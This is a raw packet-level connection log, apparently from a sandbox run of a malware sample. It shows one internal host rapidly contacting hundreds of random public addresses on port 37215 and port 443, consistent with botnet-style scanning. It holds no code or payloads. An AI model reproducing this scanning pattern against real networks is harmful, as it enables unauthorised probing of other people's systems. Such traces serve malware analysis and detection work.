Apr 14, 2024 03:59:49.682419062 CEST	1863	37215	192.168.2.13	41.203.223.132
Apr 14, 2024 03:59:49.682425976 CEST	1863	37215	192.168.2.13	156.186.125.237
Apr 14, 2024 03:59:49.682429075 CEST	1863	37215	192.168.2.13	197.176.1.134
Apr 14, 2024 03:59:49.682447910 CEST	1863	37215	192.168.2.13	41.251.180.142
Apr 14, 2024 03:59:49.682450056 CEST	1863	37215	192.168.2.13	41.90.195.40
Apr 14, 2024 03:59:49.682473898 CEST	1863	37215	192.168.2.13	156.65.228.197
Apr 14, 2024 03:59:49.682481050 CEST	1863	37215	192.168.2.13	41.244.188.63
Apr 14, 2024 03:59:49.682533979 CEST	1863	37215	192.168.2.13	197.132.230.245
Apr 14, 2024 03:59:49.682533979 CEST	1863	37215	192.168.2.13	41.192.72.24
Apr 14, 2024 03:59:49.682545900 CEST	1863	37215	192.168.2.13	156.62.24.13
Apr 14, 2024 03:59:49.682545900 CEST	1863	37215	192.168.2.13	197.87.241.35
Apr 14, 2024 03:59:49.682568073 CEST	1863	37215	192.168.2.13	156.78.223.124
Apr 14, 2024 03:59:49.682570934 CEST	1863	37215	192.168.2.13	197.220.241.94
Apr 14, 2024 03:59:49.682586908 CEST	1863	37215	192.168.2.13	197.143.179.100
Apr 14, 2024 03:59:49.682588100 CEST	1863	37215	192.168.2.13	41.214.20.145
Apr 14, 2024 03:59:49.682598114 CEST	1863	37215	192.168.2.13	41.106.235.197
Apr 14, 2024 03:59:49.682600021 CEST	1863	37215	192.168.2.13	197.39.188.135
Apr 14, 2024 03:59:49.682616949 CEST	1863	37215	192.168.2.13	156.33.111.106
Apr 14, 2024 03:59:49.682616949 CEST	1863	37215	192.168.2.13	156.85.246.226
Apr 14, 2024 03:59:49.682619095 CEST	1863	37215	192.168.2.13	197.225.28.127
Apr 14, 2024 03:59:49.682626009 CEST	1863	37215	192.168.2.13	156.112.69.7
Apr 14, 2024 03:59:49.682648897 CEST	1863	37215	192.168.2.13	41.201.236.8
Apr 14, 2024 03:59:49.682667017 CEST	1863	37215	192.168.2.13	197.98.176.125
Apr 14, 2024 03:59:49.682677031 CEST	1863	37215	192.168.2.13	41.51.244.95
Apr 14, 2024 03:59:49.682684898 CEST	1863	37215	192.168.2.13	41.2.80.195
Apr 14, 2024 03:59:49.682694912 CEST	1863	37215	192.168.2.13	41.56.199.203
Apr 14, 2024 03:59:49.682723999 CEST	1863	37215	192.168.2.13	197.200.193.141
Apr 14, 2024 03:59:49.682740927 CEST	1863	37215	192.168.2.13	41.216.130.249
Apr 14, 2024 03:59:49.682756901 CEST	1863	37215	192.168.2.13	156.162.50.250
Apr 14, 2024 03:59:49.682764053 CEST	1863	37215	192.168.2.13	156.102.42.180
Apr 14, 2024 03:59:49.682764053 CEST	1863	37215	192.168.2.13	197.164.102.156
Apr 14, 2024 03:59:49.682764053 CEST	1863	37215	192.168.2.13	156.151.172.59
Apr 14, 2024 03:59:49.682766914 CEST	1863	37215	192.168.2.13	156.244.247.172
Apr 14, 2024 03:59:49.682768106 CEST	1863	37215	192.168.2.13	156.173.221.54
Apr 14, 2024 03:59:49.682796955 CEST	1863	37215	192.168.2.13	156.67.118.97
Apr 14, 2024 03:59:49.682804108 CEST	1863	37215	192.168.2.13	41.78.142.101
Apr 14, 2024 03:59:49.682805061 CEST	1863	37215	192.168.2.13	197.69.27.66
Apr 14, 2024 03:59:49.682821035 CEST	1863	37215	192.168.2.13	197.3.195.191
Apr 14, 2024 03:59:49.682828903 CEST	1863	37215	192.168.2.13	156.107.102.188
Apr 14, 2024 03:59:49.682828903 CEST	1863	37215	192.168.2.13	197.99.216.146
Apr 14, 2024 03:59:49.682830095 CEST	1863	37215	192.168.2.13	41.95.127.79
Apr 14, 2024 03:59:49.682830095 CEST	1863	37215	192.168.2.13	156.83.117.239
Apr 14, 2024 03:59:49.682837009 CEST	1863	37215	192.168.2.13	156.121.1.144
Apr 14, 2024 03:59:49.682868004 CEST	1863	37215	192.168.2.13	41.25.151.125
Apr 14, 2024 03:59:49.682869911 CEST	1863	37215	192.168.2.13	41.106.255.185
Apr 14, 2024 03:59:49.682888985 CEST	1863	37215	192.168.2.13	156.231.87.185
Apr 14, 2024 03:59:49.682986975 CEST	1863	37215	192.168.2.13	41.54.250.113
Apr 14, 2024 03:59:49.684623003 CEST	1607	443	192.168.2.13	117.104.133.2
Apr 14, 2024 03:59:49.684633017 CEST	1607	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.684634924 CEST	1607	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.684658051 CEST	443	1607	79.214.172.0	192.168.2.13
Apr 14, 2024 03:59:49.684664011 CEST	1607	443	192.168.2.13	79.59.137.42
Apr 14, 2024 03:59:49.684667110 CEST	1607	443	192.168.2.13	148.81.143.150
Apr 14, 2024 03:59:49.684667110 CEST	1607	443	192.168.2.13	2.125.24.81
Apr 14, 2024 03:59:49.684669018 CEST	1607	443	192.168.2.13	37.182.182.184
Apr 14, 2024 03:59:49.684667110 CEST	1607	443	192.168.2.13	212.222.155.160
Apr 14, 2024 03:59:49.684667110 CEST	1607	443	192.168.2.13	148.30.11.41
Apr 14, 2024 03:59:49.684678078 CEST	443	1607	79.59.137.42	192.168.2.13
Apr 14, 2024 03:59:49.684679985 CEST	1607	443	192.168.2.13	109.174.65.162
Apr 14, 2024 03:59:49.684679031 CEST	443	1607	212.183.58.2	192.168.2.13
Apr 14, 2024 03:59:49.684688091 CEST	1607	443	192.168.2.13	212.38.47.98
Apr 14, 2024 03:59:49.684688091 CEST	1607	443	192.168.2.13	94.185.86.146
Apr 14, 2024 03:59:49.684698105 CEST	1607	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.684709072 CEST	1607	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.684717894 CEST	443	1607	210.240.39.232	192.168.2.13
Apr 14, 2024 03:59:49.684727907 CEST	1607	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.684731007 CEST	1607	443	192.168.2.13	79.59.137.42
Apr 14, 2024 03:59:49.684752941 CEST	1607	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.684762955 CEST	1607	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.684787989 CEST	1607	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.684787989 CEST	443	1607	118.219.25.246	192.168.2.13
Apr 14, 2024 03:59:49.684803963 CEST	443	1607	2.190.166.162	192.168.2.13
Apr 14, 2024 03:59:49.684823990 CEST	1607	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.684838057 CEST	1607	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.684847116 CEST	443	1607	212.134.29.110	192.168.2.13
Apr 14, 2024 03:59:49.684856892 CEST	1607	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.684876919 CEST	1607	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.684884071 CEST	1607	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.684896946 CEST	1607	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.684911966 CEST	443	1607	178.120.59.193	192.168.2.13
Apr 14, 2024 03:59:49.684916973 CEST	443	1607	42.27.114.13	192.168.2.13
Apr 14, 2024 03:59:49.684917927 CEST	1607	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.684917927 CEST	1607	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.684919119 CEST	1607	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.684931040 CEST	443	1607	212.85.242.129	192.168.2.13
Apr 14, 2024 03:59:49.684931993 CEST	1607	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.684935093 CEST	443	1607	2.81.60.160	192.168.2.13
Apr 14, 2024 03:59:49.684940100 CEST	1607	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.684942007 CEST	443	1607	202.116.139.178	192.168.2.13
Apr 14, 2024 03:59:49.684946060 CEST	1607	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.684951067 CEST	443	1607	37.134.90.211	192.168.2.13
Apr 14, 2024 03:59:49.684952021 CEST	443	1607	94.255.61.123	192.168.2.13
Apr 14, 2024 03:59:49.684956074 CEST	1607	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.684964895 CEST	443	1607	148.207.129.131	192.168.2.13
Apr 14, 2024 03:59:49.684976101 CEST	1607	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.684986115 CEST	1607	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.684986115 CEST	1607	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.684992075 CEST	1607	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.685004950 CEST	1607	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.685007095 CEST	1607	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.685026884 CEST	1607	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.685095072 CEST	1607	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.685102940 CEST	443	1607	109.121.242.56	192.168.2.13
Apr 14, 2024 03:59:49.685103893 CEST	1607	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.685121059 CEST	1607	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.685121059 CEST	1607	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.685125113 CEST	1607	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.685122967 CEST	443	1607	109.80.145.243	192.168.2.13
Apr 14, 2024 03:59:49.685132980 CEST	1607	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.685139894 CEST	443	1607	210.230.202.214	192.168.2.13
Apr 14, 2024 03:59:49.685142994 CEST	443	1607	123.235.167.195	192.168.2.13
Apr 14, 2024 03:59:49.685142994 CEST	443	1607	94.175.18.191	192.168.2.13
Apr 14, 2024 03:59:49.685142994 CEST	443	1607	117.198.161.174	192.168.2.13
Apr 14, 2024 03:59:49.685153008 CEST	1607	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.685158014 CEST	1607	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.685158968 CEST	1607	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.685158968 CEST	1607	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.685161114 CEST	443	1607	148.245.181.233	192.168.2.13
Apr 14, 2024 03:59:49.685168982 CEST	443	1607	148.48.157.222	192.168.2.13
Apr 14, 2024 03:59:49.685173035 CEST	1607	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.685178995 CEST	443	1607	79.195.184.215	192.168.2.13
Apr 14, 2024 03:59:49.685184002 CEST	1607	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.685184956 CEST	1607	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.685187101 CEST	1607	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.685199022 CEST	1607	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.685201883 CEST	1607	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.685204029 CEST	1607	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.685236931 CEST	1607	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.685286045 CEST	1607	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.685293913 CEST	443	1607	5.22.208.74	192.168.2.13
Apr 14, 2024 03:59:49.685317039 CEST	1607	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.685326099 CEST	443	1607	123.91.178.175	192.168.2.13
Apr 14, 2024 03:59:49.685328960 CEST	1607	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.685345888 CEST	1607	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.685353994 CEST	443	1607	148.151.123.41	192.168.2.13
Apr 14, 2024 03:59:49.685364008 CEST	1607	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.685368061 CEST	1607	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.685372114 CEST	443	1607	117.116.70.90	192.168.2.13
Apr 14, 2024 03:59:49.685373068 CEST	1607	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.685379982 CEST	443	1607	212.188.38.245	192.168.2.13
Apr 14, 2024 03:59:49.685389996 CEST	1607	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.685403109 CEST	1607	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.685410023 CEST	1607	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.685412884 CEST	443	1607	94.173.13.11	192.168.2.13
Apr 14, 2024 03:59:49.685416937 CEST	443	1607	37.74.171.63	192.168.2.13
Apr 14, 2024 03:59:49.685421944 CEST	1607	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.685435057 CEST	1607	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.685436010 CEST	1607	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.685451984 CEST	443	1607	5.230.64.225	192.168.2.13
Apr 14, 2024 03:59:49.685455084 CEST	1607	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.685456038 CEST	1607	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.685456038 CEST	1607	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.685456038 CEST	1607	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.685466051 CEST	443	1607	123.9.26.149	192.168.2.13
Apr 14, 2024 03:59:49.685477972 CEST	443	1607	178.16.227.214	192.168.2.13
Apr 14, 2024 03:59:49.685482979 CEST	1607	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.685482979 CEST	1607	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.685488939 CEST	1607	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.685493946 CEST	1607	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.685498953 CEST	1607	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.685501099 CEST	443	1607	212.217.88.70	192.168.2.13
Apr 14, 2024 03:59:49.685504913 CEST	443	1607	123.34.45.13	192.168.2.13
Apr 14, 2024 03:59:49.685508013 CEST	443	1607	94.76.173.65	192.168.2.13
Apr 14, 2024 03:59:49.685519934 CEST	1607	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.685527086 CEST	443	1607	2.200.126.229	192.168.2.13
Apr 14, 2024 03:59:49.685532093 CEST	1607	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.685534954 CEST	1607	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.685554981 CEST	1607	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.685560942 CEST	1607	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.685581923 CEST	1607	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.685585976 CEST	1607	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.685590029 CEST	443	1607	123.133.74.45	192.168.2.13
Apr 14, 2024 03:59:49.685596943 CEST	1607	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.685596943 CEST	1607	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.685604095 CEST	443	1607	210.173.199.160	192.168.2.13
Apr 14, 2024 03:59:49.685607910 CEST	443	1607	42.8.50.181	192.168.2.13
Apr 14, 2024 03:59:49.685612917 CEST	443	1607	2.85.102.232	192.168.2.13
Apr 14, 2024 03:59:49.685630083 CEST	1607	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.685636997 CEST	1607	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.685651064 CEST	1607	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.685652018 CEST	1607	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.685652018 CEST	1607	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.685658932 CEST	1607	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.685658932 CEST	1607	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.685672998 CEST	443	1607	212.63.52.80	192.168.2.13
Apr 14, 2024 03:59:49.685679913 CEST	443	1607	212.108.107.114	192.168.2.13
Apr 14, 2024 03:59:49.685686111 CEST	1607	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.685693979 CEST	1607	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.685697079 CEST	1607	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.685697079 CEST	443	1607	210.215.122.232	192.168.2.13
Apr 14, 2024 03:59:49.685699940 CEST	1607	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.685699940 CEST	1607	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.685703993 CEST	443	1607	210.14.25.67	192.168.2.13
Apr 14, 2024 03:59:49.685709953 CEST	443	1607	212.95.236.113	192.168.2.13
Apr 14, 2024 03:59:49.685714960 CEST	443	1607	5.21.98.166	192.168.2.13
Apr 14, 2024 03:59:49.685719967 CEST	443	1607	212.31.141.2	192.168.2.13
Apr 14, 2024 03:59:49.685725927 CEST	1607	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.685725927 CEST	1607	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.685729980 CEST	1607	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.685729980 CEST	1607	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.685735941 CEST	443	1607	109.234.205.152	192.168.2.13
Apr 14, 2024 03:59:49.685735941 CEST	1607	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.685738087 CEST	1607	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.685739040 CEST	443	1607	202.178.0.164	192.168.2.13
Apr 14, 2024 03:59:49.685738087 CEST	1607	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.685738087 CEST	1607	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.685750961 CEST	443	1607	42.233.250.162	192.168.2.13
Apr 14, 2024 03:59:49.685751915 CEST	443	1607	42.192.177.48	192.168.2.13
Apr 14, 2024 03:59:49.685760975 CEST	1607	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.685760975 CEST	1607	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.685767889 CEST	443	1607	123.80.52.51	192.168.2.13
Apr 14, 2024 03:59:49.685781002 CEST	1607	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.685781956 CEST	1607	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.685782909 CEST	1607	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.685782909 CEST	1607	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.685791016 CEST	1607	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.685801983 CEST	1607	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.685811043 CEST	1607	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.685830116 CEST	1607	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.685830116 CEST	1607	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.685841084 CEST	443	1607	148.91.176.136	192.168.2.13
Apr 14, 2024 03:59:49.685852051 CEST	443	1607	202.231.225.213	192.168.2.13
Apr 14, 2024 03:59:49.685853958 CEST	1607	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.685874939 CEST	443	1607	210.187.211.45	192.168.2.13
Apr 14, 2024 03:59:49.685878992 CEST	1607	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.685878992 CEST	1607	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.685884953 CEST	1607	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.685900927 CEST	443	1607	212.113.46.186	192.168.2.13
Apr 14, 2024 03:59:49.685918093 CEST	1607	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.685924053 CEST	1607	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.685929060 CEST	1607	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.685930014 CEST	1607	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.685929060 CEST	1607	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.685930967 CEST	443	1607	117.87.253.102	192.168.2.13
Apr 14, 2024 03:59:49.685939074 CEST	443	1607	109.183.31.13	192.168.2.13
Apr 14, 2024 03:59:49.685940981 CEST	443	1607	37.196.42.129	192.168.2.13
Apr 14, 2024 03:59:49.685941935 CEST	1607	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.685949087 CEST	1607	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.685950041 CEST	443	1607	37.1.211.170	192.168.2.13
Apr 14, 2024 03:59:49.685950994 CEST	1607	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.685961962 CEST	443	1607	42.122.27.181	192.168.2.13
Apr 14, 2024 03:59:49.685965061 CEST	443	1607	148.173.98.115	192.168.2.13
Apr 14, 2024 03:59:49.685971022 CEST	1607	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.685971975 CEST	1607	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.685977936 CEST	443	1607	42.250.253.23	192.168.2.13
Apr 14, 2024 03:59:49.685992956 CEST	1607	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.685995102 CEST	1607	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.685996056 CEST	1607	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.686014891 CEST	1607	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.686022997 CEST	1607	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.686073065 CEST	1607	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.686079025 CEST	1607	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.686080933 CEST	443	1607	123.225.121.89	192.168.2.13
Apr 14, 2024 03:59:49.686089039 CEST	443	1607	148.128.237.13	192.168.2.13
Apr 14, 2024 03:59:49.686089039 CEST	1607	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.686089039 CEST	1607	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.686099052 CEST	1607	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.686105013 CEST	1607	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.686105967 CEST	443	1607	123.175.9.107	192.168.2.13
Apr 14, 2024 03:59:49.686105013 CEST	1607	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.686116934 CEST	443	1607	123.59.192.17	192.168.2.13
Apr 14, 2024 03:59:49.686120033 CEST	1607	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.686120987 CEST	1607	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.686125994 CEST	443	1607	5.195.132.245	192.168.2.13
Apr 14, 2024 03:59:49.686130047 CEST	1607	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.686139107 CEST	1607	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.686147928 CEST	443	1607	94.76.201.160	192.168.2.13
Apr 14, 2024 03:59:49.686147928 CEST	443	1607	210.197.108.243	192.168.2.13
Apr 14, 2024 03:59:49.686172962 CEST	1607	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.686180115 CEST	1607	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.686182022 CEST	1607	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.686188936 CEST	1607	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.686208010 CEST	1607	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.686219931 CEST	443	1607	5.180.102.50	192.168.2.13
Apr 14, 2024 03:59:49.686220884 CEST	1607	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.686222076 CEST	1607	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.686228037 CEST	443	1607	178.129.77.173	192.168.2.13
Apr 14, 2024 03:59:49.686233044 CEST	1607	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.686233044 CEST	443	1607	2.239.172.172	192.168.2.13
Apr 14, 2024 03:59:49.686239958 CEST	1607	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.686244965 CEST	443	1607	5.189.239.166	192.168.2.13
Apr 14, 2024 03:59:49.686247110 CEST	443	1607	202.245.19.146	192.168.2.13
Apr 14, 2024 03:59:49.686247110 CEST	1607	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.686247110 CEST	1607	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.686254978 CEST	1607	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.686263084 CEST	443	1607	2.118.247.109	192.168.2.13
Apr 14, 2024 03:59:49.686268091 CEST	443	1607	123.67.102.246	192.168.2.13
Apr 14, 2024 03:59:49.686270952 CEST	1607	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.686270952 CEST	1607	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.686274052 CEST	1607	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.686275005 CEST	443	1607	37.26.68.69	192.168.2.13
Apr 14, 2024 03:59:49.686276913 CEST	1607	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.686280966 CEST	1607	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.686283112 CEST	443	1607	118.165.57.51	192.168.2.13
Apr 14, 2024 03:59:49.686291933 CEST	1607	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.686306953 CEST	1607	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.686306953 CEST	1607	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.686306953 CEST	1607	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.686331034 CEST	1607	443	192.168.2.13	148.107.227.23
Apr 14, 2024 03:59:49.686338902 CEST	443	1607	148.107.227.23	192.168.2.13
Apr 14, 2024 03:59:49.686352015 CEST	1607	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.686352968 CEST	1607	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.686366081 CEST	1607	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.686366081 CEST	1607	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.686367989 CEST	443	1607	42.254.35.163	192.168.2.13
Apr 14, 2024 03:59:49.686368942 CEST	1607	443	192.168.2.13	148.107.227.23
Apr 14, 2024 03:59:49.686373949 CEST	443	1607	202.60.117.147	192.168.2.13
Apr 14, 2024 03:59:49.686383009 CEST	1607	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.686389923 CEST	1607	443	192.168.2.13	94.208.217.90
Apr 14, 2024 03:59:49.686398029 CEST	443	1607	94.208.217.90	192.168.2.13
Apr 14, 2024 03:59:49.686398983 CEST	443	1607	5.123.97.24	192.168.2.13
Apr 14, 2024 03:59:49.686410904 CEST	443	1607	118.148.184.164	192.168.2.13
Apr 14, 2024 03:59:49.686418056 CEST	1607	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.686418056 CEST	1607	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.686419964 CEST	1607	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.686427116 CEST	443	1607	212.211.230.40	192.168.2.13
Apr 14, 2024 03:59:49.686439037 CEST	1607	443	192.168.2.13	94.208.217.90
Apr 14, 2024 03:59:49.686439991 CEST	1607	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.686441898 CEST	1607	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.686456919 CEST	1607	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.686486006 CEST	1607	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.686494112 CEST	1607	443	192.168.2.13	178.104.147.95
Apr 14, 2024 03:59:49.686494112 CEST	443	1607	37.173.163.192	192.168.2.13
Apr 14, 2024 03:59:49.686495066 CEST	1607	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.686496973 CEST	1607	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.686501026 CEST	443	1607	178.104.147.95	192.168.2.13
Apr 14, 2024 03:59:49.686505079 CEST	443	1607	123.178.211.32	192.168.2.13
Apr 14, 2024 03:59:49.686506033 CEST	443	1607	42.175.88.0	192.168.2.13
Apr 14, 2024 03:59:49.686512947 CEST	1607	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.686522007 CEST	443	1607	123.30.153.7	192.168.2.13
Apr 14, 2024 03:59:49.686525106 CEST	1607	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.686526060 CEST	1607	443	192.168.2.13	117.78.218.82
